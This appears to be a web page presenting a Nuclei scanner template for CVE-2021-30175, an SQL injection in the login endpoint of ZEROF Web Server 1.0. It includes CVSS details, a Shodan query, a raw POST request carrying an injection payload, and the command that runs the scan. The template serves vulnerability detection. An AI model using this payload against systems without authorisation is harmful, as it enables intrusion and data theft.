ZEROF Web Server 1.0 - SQL Injection

ID: CVE-2021-30175

Severity: critical

Author: edoardottt

Tags: cve2021,cve,zerof,sqli

Description

ZEROF Web Server 1.0 (April 2021) allows SQL Injection via the /HandleEvent endpoint for the login page.

YAML Source

id: CVE-2021-30175

info:
  name: ZEROF Web Server 1.0 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    ZEROF Web Server 1.0 (April 2021) allows SQL Injection via the /HandleEvent endpoint for the login page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in ZEROF Web Server 1.0.
  reference:
    - https://github.com/awillix/research/blob/main/cve/CVE-2021-30175.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30175
    - https://pro.zerof.ru
    - https://github.com/awillix/research
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-30175
    cwe-id: CWE-89
    epss-score: 0.06252
    epss-percentile: 0.93587
    cpe: cpe:2.3:a:zerof:web_server:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zerof
    product: web_server
    shodan-query: cpe:"cpe:2.3:a:google:web_server"
  tags: cve2021,cve,zerof,sqli

http:
  - raw:
      - |
        POST /HandleEvent HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        Ajax=1&IsEvent=1&Obj=O4F&Evt=click&this=O4F&"_fp_=_S_ID=CteTYLjmYw108029DC1&O33=%020%02%02'&O37=%020%02%02fff"&_seq_=2&_uo_=O

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "You have an error in your SQL syntax"

      - type: word
        part: header
        words:
          - "ZEROF"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220239da04b8ac1ee643bc630cdbccdfaf1137783e4ee081f0763aba01723b8b76402210096bcdfb7a7791094c5141da71511f5d8a631bf484ff5024b3f6ca7db266d18df:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-30175.yaml"

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